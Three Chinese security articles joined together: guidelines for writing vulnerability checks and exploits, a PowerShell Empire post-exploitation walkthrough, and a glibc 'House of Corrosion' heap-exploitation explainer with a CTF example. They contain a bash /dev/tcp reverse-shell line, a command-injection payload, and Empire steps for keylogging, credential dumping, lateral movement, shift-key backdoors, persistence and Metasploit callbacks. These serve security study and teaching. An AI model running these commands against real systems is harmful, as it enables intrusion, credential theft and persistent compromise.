本文适合有些漏洞验证和利用代码编写经验的人员阅读，文章里的一些观点可能与诸君不符，可以忽略，可以提出新的见解，还请多多包涵。
## 二: 漏洞验证准则
已有人总结过 [漏洞检测的那些事儿](https://blog.knownsec.com/2016/06/how-to-scan-and-check-vulnerabilities/) ，文章里很好的提出编写漏洞验证代码时需要注意的 `三个准则` ，简单总结和补充如下:
#### **1\. 随机性**
保证关键变量、数据和无明显含义要求的值应该具有随机性。
如: 上传文件的文件名，webshell 密码，print 的值，探测 404 页面使用的路径等。
#### **2\. 确定性**
通过返回的内容找到唯一确定的标识来说明该漏洞是否存在。
验证漏洞尽可能达到与漏洞利用时同样的水准，勿使用单一模糊的条件去判断，如HTTP状态码、固定页面内容等来判定漏洞是否存在。
比如验证文件上传漏洞，最好上传真实的文件进行判断；验证通过不常见的API接口未授权添加管理员，仅是通过判断不常见的API接口是否存在来判定漏洞是否存在是不够的，最好是要实际去添加一个管理员用户，最后按照添加成功与否来判定这个漏洞是否存在。
#### **3\. 通用性**
兼顾各个环境或平台，兼顾存在漏洞应用的多个常见版本。
勿只考虑漏洞复现的单一环境，要考虑到存在漏洞的应用的不同版本、安装应用的不同操作系统、API接口、参数名、路径前缀、执行命令等的不同情况。
#### 4\. 无损性
有效验证漏洞的前提下尽可能避免对目标造成损害。
验证漏洞时，在有效验证漏洞的前提下，尽量不改写、添加、删除数据，不上传、删除文件。可以的话，验证漏洞完毕后应恢复数据和验证漏洞前的数据一致。
## 三: 漏洞验证方法
如果根据实际可操作性，对主流的漏洞验证方法定义，梳理和总结如下:
#### **一. 直接判断**
即可直接通过目标的不同响应和状态来判断目标是否存在漏洞，主要包括下面四种方法:
##### 1\. 结果回显判断
最直接的漏洞存在的判定方法，受我们的输入控制影响，目标响应中完整输出了我们期望的结果。
##### 2\. 报错回显判断
使目标处理我们输入的数据时内部错误，并在错误的输出中携带了受我们期望的结果。
##### 3\. 写数据读取判断
将结果或标志写入目标文件或数据库等类似数据存储系统，并尝试读取存储的内容来判断目标是否存在漏的方法。
##### 4\. 延时判断
通过控制在目标机器上执行的代码，让目标机器等待N秒后再响应我们的请求。
在`延时SQL注入`、`执行命令sleep`、`执行代码sleep`等漏洞判定应用场景里常有不可替代的重要作用。
#### **二. 间接判断**
通过控制目标向第三方发送信息，通过第三方是否接收到信息来判定目标是否存在漏洞，主要包括下面几种方法:
##### 1.DNSLOG 方式判断
当目标可解析域名并且允许请求外网DNS服务器时使用，因为有部分机器默认允许请求外网DNS服务器而且防火墙也不会轻易拦截，所以此方法已被广泛使用。JAVA
反序列化中的 `URLDNS` payload 就是属于此判断方法。
##### 2.WEBLOG 方式判断
在目标可以对外发送TCP请求时，使用Web服务器接收目标发送而来的请求，以此来判断我们可以控制目标发送请求到特定第三方Web服务器，目标存在漏洞。
虽然灵活运用各种漏洞验证方法可以有效的验证漏洞是否存在，但是对于仅使用单一方法来验证漏洞是否存在时，我倾向于下面的方法优先级:
结果回显判断 > 报错回显判断 > 写文件读取判断 > 延时判断 > DNSLOG 方式判断 > WEBLOG 方式判断
## 四: 漏洞利用准则
之所以把`漏洞利用`和`漏洞验证`分开来叙述，是因为在我看来`漏洞利用`才是安全研究人员需要额外注意的部分，也是最能体现安全研究水平和代码编写水准的方面。
不少安全研究人员可能仅出于研究目的，或因为怕研究成果被恶意利用，再加上编写 `漏洞验证` 代码通常比真实的 `漏洞利用`
代码更为简单，所以通常仅是给出一个十分简单的`漏洞验证`步骤或demo代码。漏洞之所以被重视，根本原因是某些漏洞被利用后能对目标造成很大的损害，这不是一个CVE编号或者高中低危评价就能够衡量的，而是由真实的漏洞利用代码来评判的。
结合自己的漏洞利用代码编写经验，遵守的准则主要有以下几个部分：
### 1.结果回显优先
优先将漏洞成功利用获得的信息显示出来。
比如对于一个命令执行漏洞，漏洞利用代码应该朝着`直接获得执行的命令的输出结果`去努力，而不是一开始就去尝试做反弹shell、写文件读取达到回显效果这种事。
具体说，我曾经编写过一份结合 `CVE-2017-12635`和`CVE-2017-12636`
两个漏洞的代码。`CouchDB`先垂直越权添加管理员用户，然后利用添加的管理员用户通过`Authorization`头认证，创建新数据库，将执行命令的结果存储到该数据库，最后从该数据库中读取执行命令的结果，再删除该数据库，从而达到执行命令结果回显的目的。
`直接显示漏洞执行成功获得的结果`拥有较高的错误兼容性，不会因为目标不能直接连接互联网、不解析域名、无权限写文件、文件路径可能不唯一等等原因导致的一些判断漏洞存在却利用不成功的情况。
### 2.稳定利用优先
要综合考虑到应用版本、操作系统环境、网络等原因，写出兼容各种应用版本并可以稳定复现的`漏洞利用`代码。
稳定利用里有两个问题需要额外注意：
一是编写的代码是否考虑到了存在漏洞的应用的不同版本之间的差异。比如API 接口变化、路径变化等，可能会导致相当一部分的漏洞利用不成功；
二是`执行代码`优于`执行命令`。比如现在常见的一个示例的就是利用`代码执行`漏洞进行反弹shell的利用，演示用的多是利用执行类似 `/bin/bash
-i >& /dev/tcp/{ip}/{port} 0>&1` 的命令来反弹shell。
这里面有个`降级利用`的概念，即`代码执行` 却常被当做 `命令执行` 来使用，但是 `代码执行` 一般比`命令执行`可操作性更大，更稳定。
当只利用漏洞进行`执行命令`时，这当然没有什么问题，但是当用执行命令来反弹shell时，就会出现比较大的问题。比如，只适合 Linux
类系统，而且有些docker、busybox之类的精简环境可能没有 `/bin/bash`，或者不支持命令行下的反弹shell，这些都会让漏洞利用不成功。
这种情况下的正确做法应该是优先执行一段代码，而不是`降级`之后的执行命令来完成复杂的操作。
### 3.最简利用优先
在能达到相同利用效果的情况下，选择最简单的实现路径。
比如最近的写的一个 [flink-unauth-rce](https://github.com/LandGrey/flink-unauth-rce)
漏洞利用，最优雅的方式是根据 flink api
来实现执行命令回显这个功能，但是势必要花点时间去学习和构造代码，不如直接利用程序报错回显，在报错结果中提取出执行命令的结果，省时省力效果良好。
## 五: 须避免的错误
#### 1\. 检测条件不充足
比如，通过 GET 请求路径
/hard-to-guest-path/there/is/vulnerable
然后判断漏洞存在的核心逻辑是状态码 200，并且响应中存在 `admin` 关键词。
虽然请求路径比较特殊，但是考虑到有些网站总是返回 200 状态码，并且`admin`作为关键词过于普通，所以容易产生误报。
#### 2\. 检测关键词放置在发包内容中
比如检测一个可以回显的 GET 型命令执行漏洞，构造了如下的 payload
/api/ping?host=127.1|echo+79c363c6044c4c58
然后判断漏洞存在的核心逻辑是关键词 `79c363c6044c4c58` 出现在返回状态码是200的目标 response 中。
这类将判断漏洞存在的关键词放置在 GET 请求的 URL 中， **有些网站在请求不存在的路径时，也会返回 200 状态码，而且会将请求的 URL
全部返回到 response 中** ，这样就产生了误报。
当然，不止 GET 请求，POST 等请求类型的漏洞验证也会存在此类问题。比如 POST 发包：
POST: /api/ping
DATA: host=127.1|echo+79c363c6044c4c58
**有些网站在接收到不能处理的请求时，会将 POST 的所有数据包括HTTP Header 等回显到页面** ， 这时候判断关键词就会产生误报。
## 六: 总结
规则是死的，人是活的。为了编写出符合要求的代码，在指定的要求、特殊情况下可以牺牲一些方面的准则特性来强化其他方面的准则特性。
比如，某些情况下付出 30% 的精力就可以编写出覆盖 90% 应用环境的代码，如果钻牛角尖，要付出 100% 的精力，编写出适合 99%
应用环境的代码，是无法享受漏洞研究到漏洞利用这整个过程的。
作为一名有追求的安全研究人员，不应该浅尝辄止于普通`漏洞验证`代码的编写，良好的`漏洞利用`代码的编写才能显示出漏洞的真正危害，体会到`漏洞利用`代码编写的精髓。 | 社区文章 |
# 【技术分享】一篇文章精通PowerShell Empire 2.3（下）
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[shuteer](http://bobao.360.cn/member/contribute?uid=1268998211)
预估稿费：800RMB
（本篇文章享受双倍稿费 活动链接请[点击此处](http://bobao.360.cn/news/detail/4370.html)）
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
## 传送门
[**【技术分享】一篇文章精通PowerShell Empire
2.3（上）**](http://bobao.360.cn/learning/detail/4760.html)
****
## 0×05. 信息收集
Empire主要用于后渗透。所以信息收集是比较常用的一个模块，我们可以使用searchmodule命令搜索需要使用的模块，这里通过键入“usemodule
collection”然后按Tab键来查看完整列表，如下图所示。
这里我们演示几个常用模块:
**1.** **屏幕截图**
输入usemodule collection/screenshot，info命令可以查看具体参数，如下图所示。
不需要做多余设置，直接execute可以看到目标主机屏幕截图。
**2.** **键盘记录**
输入usemodule collection/keylogger，info命令可以查看具体参数，如下图所示。
设置保持默认就可以，我们输入execute启动，就开启记录键盘输入了，会自动在empire/downloads/<AgentName>下生成一个agent.log，如下图所示。
这里我们在虚拟机打开一个记事本随便输入一些文字。如下图所示。
我们打开agent.log可以看到在我们的监控端已经全部记录下来了，虽然不能记录中文，但是大概意思我们还是能看出来的，标点符号也记录了下来，相对来说还是记录英文比较好，如下图所示。
如果我们要持续进行键盘记录，可以把当前监控模块置于后台，输入jobs会显示当前在后台的记录，如果要终止一个记录，可以使用jobs kill
JOB_name，这里可以输入jobs kill N7XE38即可停止键盘记录，如下图所示。
****
**3.** **剪贴板记录**
这个模块允许你抓取存储在目标主机Windows剪贴板上的任何内容。模块参数可以设置抓取限制和间隔时间，一般情况下，保持默认设置就可以，这里我们输入usemodule
collection/clipboard_monitor，同样info命令可以查看具体参数，如下图所示。
我们在目标主机随便COPY一句话，可以看到屏幕已经有结果了，速度还是很快的，如下图所示。
同样当前监控模块也可以置于后台，输入jobs会显示当前在后台的记录，如果要终止话同样输入jobs kill JOB_name，如下图所示。
**4.** **查找共享**
输入usemodule situational_awareness/network/powerview/share_finder
命令将会列出域内所有的共享，可以设置CheckShareAccess选项将只返回可从当前用户上下文中读取的共享，这里保持默认，如下图所示。
**5.** **收集目标主机有用的信息**
输入命令usemodule
situational_awareness/host/winenum，可以查看本机用户，域组成员，最后密码设置时间，剪贴板内容，系统基本系统信息，网络适配器信息，共享信息等等，如下图所示。
另外还有situational_awareness/host/computerdetails模块，列举了系统中的基本所有有用信息。显示目标主机事件日志，应用程序控制策略日志，包括RDP登陆信息，Powershell
脚本运行和保存的信息等等。运行这个模块的时候需要管理权限，大家可以试一下。
**6.ARP** **扫描**
Empire也内置arp扫描模块，输入usemodule situational_awareness/network/arpscan
命令使用该模块，输入info命令查看具体参数，如下图所示。
这里要设置一下Range参数，输入下列命令设置为要扫描的网段，如下图所示。
set Range 192.168.31.0-192.168.31.254
execute
同样Empire也内置了端口扫描模块， situational_awareness/network/portscan这里就不演示了。
**7.DNS** **信息获取**
在内网中，知道所有机器的HostName和对应的IP地址对分析内网结构至关重要，输入usemodule
situational_awareness/network/reverse_dns命令使用该模块，输入info命令查看具体参数，如下图所示。
这里要设置一下Range参数，输入你要扫描的IP网段运行，如下图所示。
如果该主机同时有2个网卡，Empire也会显示出来，方便我们寻找边界主机。
另一个模块模块situational_awareness/host/dnsserver，可以显示出当前内网DNS服务器IP地址，如下图所示。
**8.** **查找域管登陆服务器IP**
在内网渗透中，拿到内网中某一台机器，想要获得域管权限，有一种方法是找到域管登陆的机器，然后横向渗透进去，窃取域管权限，从而拿下整个域，这个模块就是用来查找域管登陆的机器。
使用模块usemodule
situational_awareness/network/powerview/user_hunter，输入info查看设置参数，如下图所示。
这个模块可以清楚看到哪个用户登录了哪台主机，结果显示域管曾经登录过机器名为WIN7-64.shuteer.testlab,IP地址为192.168.31.251的这台机器上。如下图所示。
**9.** **本地管理组访问模块**
使用usemodule
situational_awareness/network/powerview/find_localadmin_access模块，不需要做什么设置，直接运行execute即可，结果如下图所示。
可以看到有2台计算机，名字分别为：
**WIN7-64.shuteer.testlab**
**WIN7-X86.shuteer.testlab**
**10.** **获取域控制器**
现在可以用usemodulesituational_awareness/network/powerview/get_domain_controller模块来确定我们当前的域控制器，因为我们有了域用户权限，输入execute，如下图所示。
当前域服务器名为DC。
我们再验证下能否访问域服务器DC的“C$”，同样顺利访问，如下图所示。
****
****
## 0×06. 提权
Windows在Vista系统开始引入UAC账户控制体系，分为三个级别：
**高:完整的管理员权限**
**中：标准用户权限**
**低：很低的权限**
即使当前用户是本地管理员，双击运行大部分应用程序时也是以标准用户权限运行的(除非右击-选择以管理员身份运行)。所以即使我们获得的权限是本地管理员权限，也没有办法执行一些命令（特殊注册表写入、LSASS读取/写入等等），所以渗透的第一步便是提权，提权的前提便是知道自己拥有什么权限，可以输入一下命令来查询：
Whoami /groups
这个命令会输出我当前用户所属的组和所拥有的权限，显示High Mandatory Level表示拥有管理员权限，显示Medium Mandatory
Level表示拥有一个标准用户权限，这里我们是一个标准用户权限，如下图所示。
**1.bypassuac**
输入usemodule privesc/bypassuac，设置Listener参数，运行execute，上线了一个新的反弹，如下图所示。
这里我们回到agents下面，输入list命令，可以看到多了一个agents，带星号的即为提权成功的，如下图所示。
**2\. bypassuac_wscript**
这个模块大概原理是使用c:Windowswscript.exe执行payload，实现管理员权限执行payload，绕过UAC。只适用于系统为Windows
7，目前尚没有对应补丁，部分杀毒软件会有提示。如下图所示，带型号的即为提权成功的。
**3\. ms16-032**
Empire自带了MS16-032 (KB3124280) 模块，输入usemodule
privesc/ms16-032，只需要设置下Listener，运行提权成功，如下图所示。
除了ms16-032，Empire还带了ms16-135(KB3198234)模块，使用方法一样，在测试中，WIN764位系统出现了蓝屏，请谨慎使用。如下图所示。
**4.PowerUp**
Empire内置了PowerUp部分工具，用于系统提权，主要为Windows错误系统配置漏洞，Windows
Services漏洞，AlwaysInstallElevated漏洞等8种提权方式，输入“usemodule
privesc/powerup”然后按Tab键来查看完整列表，如下图所示。
**4.1 AllChecks** **模块**
如何查找上述漏洞，就要用到这个模块了。和Powersploit下powerup中的Invoke-AllChecks模块一样，该模块可以执行所有脚本检查系统漏洞，输入下列命令，如下图所示。
usemodule privesc/powerup/allchecks
execute
可以看到，他列出了很多方法，我们可以尝试用第一种方法bypassuac来提权，提权之前我们看下当前agents，可以看到只有一个普通权限，Name为CD3FRRYCFVTYXN3S，IP为192.168.31.251的客户端，如下图所示。
接着我们输入bypassuac test来提权，等几秒钟，就会给我们返回一个更高权限的shell，如下图所示。
我们再次输入agents命令来查看当前agents，可以看到多了一个高权限（带星号）Name为341CNFUFK3PKUDML的客户端，如下图所示，提权成功。
**4.2** **模块使用说明**
官方说明如下：
l 对于任何没有引号的服务路径问题
l 对于ACL配置错误的任何服务（可通过service_ *利用 ）
l 服务可执行文件上的任何不当权限（可通过service_exe_ *进行利用）
l 对于任何剩余的unattend.xml文件
l 如果AlwaysInstallElevated注册表项设置
l 如果有任何Autologon凭证留在注册表中
l 用于任何加密的web.config字符串和应用程序池密码
l 对于任何％PATH％.DLL劫持机会（可通过write_dllhijacker利用）
具体使用方法可参见我之间几篇文章：
**A.Metasploit** **、powershell之Windows错误系统配置漏洞实战提权**
[http://www.freebuf.com/articles/system/131388.html](http://www.freebuf.com/articles/system/131388.html)
**B.metasploit** **之Windows Services漏洞提权实战**
[http://www.4hou.com/technology/4180.html](http://www.4hou.com/technology/4180.html)
**C.Metasploit** **、Powershell之AlwaysInstallElevated提权实战**
<https://xianzhi.aliyun.com/forum/read/1488.html>
**5.GPP**
在域里面很多都会启用组策略首选项来执行本地密码更改，以便于管理和映像部署。缺点是任何普通域用户都可以从相关域控制器的SYSVOL中读取到部署信息。虽然他是采用AES
256加密的，使用usemodule privesc/gpp ，如下图所示。
## 0×07. 横向渗透
**1.** **令牌窃取**
我们在获取到服务器权限后，可以使用内置mimikatz获取系统密码，执行完毕后输入creds命令查看Empire列举的密码。如下图所示。
发现有域用户在此服务器上登陆，此时我们可以窃取域用户身份，然后进行横向移动，首先先来窃取身份，使用命令pth<ID>，这里的ID号就是creds下的CredID号，我们这里来窃取administrator的身份令牌，执行Pth
7命令，如下图所示。
可以看到进程号为1380，使用steal_token PID命令就窃取了该身份令牌了，如下图所示。
同样我们也可以在通过PS命令查看当前进程，查看是否有域用户的进程，如下图所示。
可以看到有域用户的进程，这里我们选用同一个Name为CMD，PID为1380的进程，如下图所示。
同样通过steal_token命令来窃取这个命令，我们先尝试访问域内另一台主机WIN7-X86的“C$”，顺利访问，如下图所示。
输入revtoself命令可以将令牌权限恢复到原来的状态，如下图所示：
****
**2.** **会话注入**
我们也可以使用usemodule management/psinject模块来进程注入，获取权限，输入info查看参数设置，如下图所示。
设置下Listeners和ProcID这2个参数，这里的ProcID还是之前的CMD的1380，运行后反弹回一个域用户权限shell，如下图所示。
****
**3.Invoke-PsExec**
PsExec是我在Metasploit下经常使用的模块，还有pstools工具包当中也有psexec，缺点是该工具基本杀毒软件都能检测到，并会留下日志，而且需要开启admin$
445端口共享。优点是可以直接返回SYSTEM权限。这里我们要演示的是Empire下的Invoke-Psexec模块。
使用该模块的前提是我们已经获得本地管理员权限，甚至域管理员账户，然后以此来进一步持续渗透整个内网。
我们测试该模块前看下当前agents，只有一个IP为192.168.31.251，机器名为WIN7-64的服务器，如下图所示。
现在使用模块usemodule
lateral_movement/invoke_psexec渗透域内另一台机器WIN7-X86，输入info查看设置参数，如下图所示。
这里要设置下机器名和监听，输入下列命令，反弹成功。如下图所示。
Set ComputerName WIN7-X86.shuteer.testlab
Set Listenershuteer
Execute
输入agents命令查看当前agents，多了一个IP为192.168.31.158，机器名为WIN7-X86的服务器，如下图所示。
**4.Invoke-WMI**
它比PsExec安全，所有window系统启用该服务，当攻击者使用wmiexec来进行攻击时，Windows系统默认不会在日志中记录这些操作，这意味着可以做到攻击无日志，同时攻击脚本无需写入到磁盘，具有极高的隐蔽性。但防火墙开启将会无法连接。输入usemodule
lateral_movement/invoke_wmi，使用该模块，输入info命令查看具体参数，如下图所示。
这里一样需要设置下机器名和监听，输入下列命令，执行execute命令反弹成功。如下图所示。
Set ComputerName WIN7-X86.shuteer.testlab
Set Listener shuteer
Execute
WMI还有一个usemodule lateral_movement/invoke_wmi_debugger模块，是使用WMI去设置五个Windows
Accessibility可执行文件中任意一个的调试器。这些可执行文件包括sethc.exe（粘滞键，五下shift可触发），narrator.exe（文本转语音，Utilman接口激活）、Utilman.exe（windows辅助管理器，Win+U启用），Osk.exe（虚拟键盘，Utilman接口启用）、Magnify.exe（放大镜，Utilman接口启用）。大家也可以尝试一下。
**5.Powershell Remoting**
PowerShell
remoting是Powershell的远程管理功能，开启[Windows远程管理服务](https://msdn.microsoft.com/en-us/library/aa384426\(v=vs.85\).aspx)WinRM会监听5985端口，该服务默认在Windows Server
2012中是启动的，在Windows Server 2003、2008和2008 R2需要通过手动启动。
如果目标主机启用了PSRemoting，或者拥有启用它的权限的凭据，则可以使用他来进行横向渗透，使用usemodule
lateral_movement/invoke_psremoting模块，如下图所示。
## 0×08. 后门
**1.** **权限持久性劫持shift后门**
输入命令usemodule lateral_movement/invoke_wmi_debuggerinfo模块，输入info查看设置参数，如下图所示。
这里需要设置几个参数，我们输入下面命令，如下图所示。
set Listener shuteer
set ComputerName WIN7-64.shuteer.testlab
set TargetBinary sethc.exe
execute
运行后，在目标主机远程登录窗口按5次shift即可触发后门，有一个黑框一闪而过，如下图所示。
这里看我们的Empire已经有反弹代理上线，这里为了截图我按了3回shift后门，所以弹回来3个代理，如下图所示。
注意：sethc.exe这里有几个可以替换的选项。
A.Utilman.exe（快捷键为: Win + U）
B.osk.exe（屏幕上的键盘Win + U启动再选择）
C.Narrator.exe (启动讲述人Win + U启动再选择)
D.Magnify.exe(放大镜Win + U启动再选择）
**2. 注册表注入后门**
使用usemodule
persistence/userland/registry模块，运行后会在目标主机启动项添加一个命令，按如下命令设置其中几个参数，如下图所示。
set Listener shuteer
set RegPath HKCU:SoftwareMicrosoftWindowsCurrentVersionRun
execute
运行后当我们登陆系统时候就会运行，反弹回来，如下图所示。
我们去目标机主机看看启动项下面有没有添加东西，竟然没有，真是厉害，如下图所示。
**3.** **计划任务获得系统权限**
输入usemodule
persistence/elevated/schtasks，使用该模块，输入info命令查看具体参数，如下图所示。在实际渗透中，运行该模块时杀软会有提示。
这里要设置DailyTime，Listener这2个参数，输入下列命令，设置完后输入execute命令运行，等设置的时间到后，成功返回一个高权限的shell，如下图所示。
Set DailyTime 16:17
Set Listener test
execute
我们输入agents命令来查看当前agents，可以看到又多了一个SYSTEM权限Name为LTVZB4WDDTSTLCGL的客户端，如下图所示，提权成功。
这里如果把set RegPath 的参数改为 **HKCU:SOFTWAREMicrosoftWindowsCurrentVersionRun**
，那么就会在16：17分添加一个注册表注入后门，大家可以练习一下。
## 0×09. Empire反弹回Metasploit
实际渗透中，当拿到webshell上传的MSF客户端无法绕过目标机杀软时，可以使用powershell来绕过也可以执行Empire的payload来绕过，成功之后再使用Empire的模块将其反弹回Metasploit。
这里使用usemodule code_execution/invoke_shellcode模块，输入info看下参数，如下图所示。
这里修改2个参数，Lhost和Lport，Lhost修改为msf所在主机ip，按下列命令设置完毕，如下图所示。
Set Lhost 192.168.31.247
Set Lport 4444
在MSF上设置监听，命令如下，运行后，就可以收到Empire反弹回来的shell了，如下图所示。
Use exploit/multi/handler
Set payloadwindows/meterpreter/reverse_https
Set Lhost 192.168.31.247
Set lport 4444
Run
## 参考
<http://www.powershellempire.com/>
<http://www.harmj0y.net/blog/>
## The End.
**QQ:8946723 QQ群：282951544 欢迎各位的交流和批评指正！** | 社区文章 |
# House of Corrosion 原理及利用
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 利用思路
有些师傅可能看到这个名字有些陌生，但实际上这已经是一个很早以前就出现的利用方法了，一直适用到最新的 GLIBC 中。
要了解这个方法，我们首先要先知道 global_max_fast 是什么？简单的来说 global_max_fast 是 GLIBC 用来储存
fastbin 链表能够储存的最大大小，其默认值为 0x80，也就是 Fastbin 的默认 Size 范围是在 [0x20, 0x80]。
而此方法，其根本的思想就是通过往 global_max_fast 写入一个很大的值，来造成 fastbinsY
数组溢出。如果我们利用其他漏洞在这个位置写一个很大的值，会使得在 malloc 和 free 堆块的时候，很大 Size 堆块都被判定为是 fastbin
类型的堆块，fastbinsY 是在 GLIBC 上储存 fastbin 不同大小链表头指针的一段空间，为大小从 0x20 开始的 fastbin
链表预留了十个指针。
这意味着，如果有 SIZE 超过 0xB0 的堆块，那么这个堆块计算得到的索引值就会超出 fastbinsY
的最大范围，造成数组越界。我们可以使用以下公式来计算出目标溢出位置，对应的需要构造的堆块 SIZE，其中的 delta 指的是溢出位置到 fastbinsY
首地址的差值。
chunk size = (delta * 2) + 0x20
接下来分为 malloc 和 free 两个方向来讲解此方法的应用。
## malloc
一般来说这种攻击方法是无法任意申请堆块地址的，一方面是因为申请的 Size 受到主程序限制，另一方面在 Fastbin 中申请出来堆块会检测 SIZE
位对应的索引是否与当前索引一致，如果不一致则会报错退出。
但是我们可以通过篡改 fastbin 链表来在 fastbinsY 后写一个可控的内容，但是前提是主程序可以申请出那个 SIZE 的堆块，利用思路如下
1. free，SIZE 可以使得 fastbinsY 溢出到需要的位置
2. 利用 UAF 漏洞，在此堆块的 fd 位置写我们要篡改的数据，8 字节。
3. malloc，SIZE 和之前的一致
这里的可以利用的原因是：在 malloc 的时候会把 fastbinsY 的链表头部取出，并且把其 fd 位置的内容作为链表头部写入到 fastbinsY
数组中，而在这个过程中没有对可控堆块的 fd 位置的内容的合法性做检查。
## free
### 利用前提
由于在 free fastbin 堆块的时候会检测被 free 堆块的下一个堆块的 SIZE 是否合法，这意味着我们虽然可以通过直接伪造 SIZE
位来触发溢出，但是还需为 **伪造 SIZE 的堆块的下一个堆块** 伪造一个合法的 SIZE。所以这个方法有个利用的前提就是 **能为下一个堆块伪造
SIZE** ，以下提出的利用方法都在满足这个利用前提的情况下实现。
### 泄露
利用这个方法可以泄露 libc 上在 fastbinsY 之后的数据，泄露的思想就是利用 free 时会把此堆块置入 fastbin 的头部，所以 free
后在此堆块的 fd 位置的内容，就是 free 前此 SIZE 的链表头部指针，通过越界就可以读取 LIBC 上某个位置的内容。
用 leakfind 命令可以看能泄露哪些空间的地址。
leakfind 0x7f50fe111bb0 --page_name=house_of_fmyyass --max_offset=0x3000 --max_depth=3
#address：0x7f50fe111bb0 （例如在此利用中应该为fastbinsY的首地址）
#page_name: 找哪里的地址，例如：libc，stack
#max_offset：范围（例如在此利用中，是最大能控制next chunk size的位置）
#max_depth: 层数
#其他选项...
### 写
写的思路与泄露的类似，就是利用在 free 后此 SIZE 的链表头部指针会变成被 free 的堆块指针。利用这个思路可以在 fastbinsY
之后写入堆块指针。
这个思路只能写入可控的堆块指针，而不是可控内容，但是相对于之前的方法，这个方法不要求主程序可以申请很大 SIZE 的堆块。
写入位置的选择就很多样了，只需要抓住一点，我们可以写入一个可控的堆块指针。而使用 Unsorted Bin Attack 或 Tcache Stashing
Unlink Attack 能够写入的内容都是在 LIBC 上，属于不可控的位置，通过这个打 global_max_fast
的思路，就可以把不可控地址的写入转换为可控地址的写入，这给我们提供一种利用思想。
1. 在程序中有通过 exit 来退出循环，在这种情况下，我们就可以通过写 _IO_list_all 再配合不同版本 GLIBC 在 IO File 的攻击思想或考虑用 House of banana，最后 get shell。
1. 2.23 版本：对 vtable 的位置没有检测，可以直接在任意可控位置伪造一个 vtable，具体的利用思路可以参考 Angel Boy 的 House of orange 的打法。
2. 2.27 版本：在 _IO_str_finsih 和 _IO_str_overflow 中有对函数指针的直接调用，可以通过调试找到对应位置并修改为 system。
3. 2.28 – 2.33 版本：这部分版本把函数指针的调用改为了直接的 malloc 和 free 调用，这使得构造指针的思路不再有效，可以考虑用 House of pig 中的打法。
4. 2.34 版本：这个版本把 __free_hook 和 __malloc_hook 都删除了，所以使得 house of pig 的打法也失效了，可以考虑使用 [House OF Emma](https://www.anquanke.com/post/id/260614) 来攻击。
2. 覆写 Top Chunk 标志来触发 House OF Kiwi，House OF Kiwi 的利用条件有一部分在于触发在 assert 上，使用这个方法能够快速的让 Top Chunk 的 Size 变的“不合法”，再次申请大于写入堆块的 Size 的堆块就能触发 assert。
3. 结合 House of banana 来攻击
4. 结合 House of husk 来攻击，之后会单独写一篇 House of husk 文章中提出。
## 例题
这里以 2021 湖湘杯初赛 maybe_fun_game_3 这题为例来讲解本方法的实战利用
### 初始化
在程序正式运行之前，会使用 mmap 来分配一段空间，赋值给这里名为 dest 的变量，用于之后的加解密工作
### 加密过程
加密分为两步，创建一个加密数据块和创建一个加密数据结构体
**加密数据块**
1. 循环让 i 从 0x50 到 0xFE
2. 每次循环生成两个随机数（rnd1、rnd2），并对 0x50 取模
3. 把 Rnd1 放到下标为 i 的数组中
4. 用 Rnd2 对从 0 到 i 作为下标的每一位内容做异或
5. 把 Rnd1 到 i 作为下标的每一位内容向后移
6. 把 Rnd2 放到下标为 Rnd1 的数组中
**创建结构体**
1. 偏移 0： 0x6C616E6C616E7777（lanlanww）作为魔数来标记加密结构体内容
2. 偏移 8：数据长度，限制为小于 0x50
3. 偏移 0x10：加密后的数据内容
4. 把以上结构内容用 base64 进行编码，并且用 puts 输出
### 解密过程
解密过程我们可以根据加密过程来逆推，而在此题中因为需要双方交互，所以也存在解密函数。
**解析结构体**
1. base64 解码
2. 判定 maigc 是否一致
3. 判断 长度 是否超过限制
4. 如果该函数的参数 is_encode 为 1 则解密加密的数据，否则直接返回加密数据
当把数据放置到堆块时，会直接存放加密的数据，直至读取堆块内容时再进行二次解密。
**解密数据**
是加密过程的逆向，但是在实现中出现漏洞。
在解码过程中会引用到 Rnd1，在正常的加密过程中，这个随机数会对 0x50 取余，把数据限制在 0x50
以内，不会出现任何问题。但是在这里由于没有对直接写入堆块的内容进行检验，允许 Rnd1 大于 0x50，而在取 Rnd2 时，Rnd1 作为下标用的类型是
char ，构造使其可以为一个负数，造成 Rnd1 到 i 的每一位前移的过程中造成向前溢出，计算得到值为 0xE8 时正好可以向前溢出修改到
is_delete 结构的内容。
### 程序功能和逻辑
程序具有以下四个功能
1. New
2. Del
3. Edit
4. Show
5. Backdoor
**New**
创建了一个大小为 0x110 的堆块，结构体如下。
把解析得到的数据大小放到 size 结构中，加密数据 0x100 字节内容完全复制到 data 结构中
00000000 node struc ; (sizeof=0x110, mappedto_15)
00000000 ; XREF: main+12F/r
00000000 ; main+13D/r ...
00000000 data db 256 dup(?) ; XREF: main+3E4/r
00000000 ; main+4E4/r ; string(C)
00000100 size dq ? ; XREF: main+13D/r
00000100 ; main+2FC/w ...
00000108 is_delete dq ? ; XREF: main+12F/r
00000108 ; main+1D0/r ...
00000110 node ends
**Del**
释放结构体数据，并且标记 is_delete 位为 1，此时对 is_delete 结构的写入实际上存在 UAF，但是无法控制具体内容。
**Edit**
读入堆块内容，并且写入堆块内容的是加密后的数据块
**Show**
把堆块中的内容先经过解密再输出
**Backdoor**
允许按照顺序触发后门功能，依照次序是 4，3，2，1
后门可以创建一个 Size 大于 0x2000 的堆块，并且可以在堆块释放后对堆块内容进行修改，从而造成了 UAF，结合这次所说的利用方法，不难想到以下内容
—— “在 malloc 的时候会把 fastbinsY 的链表头部取出，并且把其 fd 位置的内容作为链表头部写入到 fastbinsY
数组中，而在这个过程中没有对可控堆块的 fd 位置的内容的合法性做检查”
通过计算 0x3918 这个 Size，在 fastbinsY 溢出的情况下，正好可以覆盖到 __free_hook 的内容，这意味着我们可以借助后门来修改
__free_hook 上的内容。
### 利用思路
1. 利用 Double Free 的报错泄露出远程的 LIBC 版本为 2.23
2. 利用 Unsorted Bin 堆块可以在 FD 和 BK 位置存在一个 LIBC 地址，但是在使用 Show 功能时会对数据进行解密，解密过程会受到 LIBC 地址的内容影响，我们再把 Key 的内容全部设置为 0，这样异或时内容不会变化，有概率能够泄露出 Libc 基址，需要一定的爆破
3. 我们可以在非 Backdoor 的功能处，利用向前溢出造出一个 UAF，再用 Unsorted Bin Attack 来打 global_max_fast
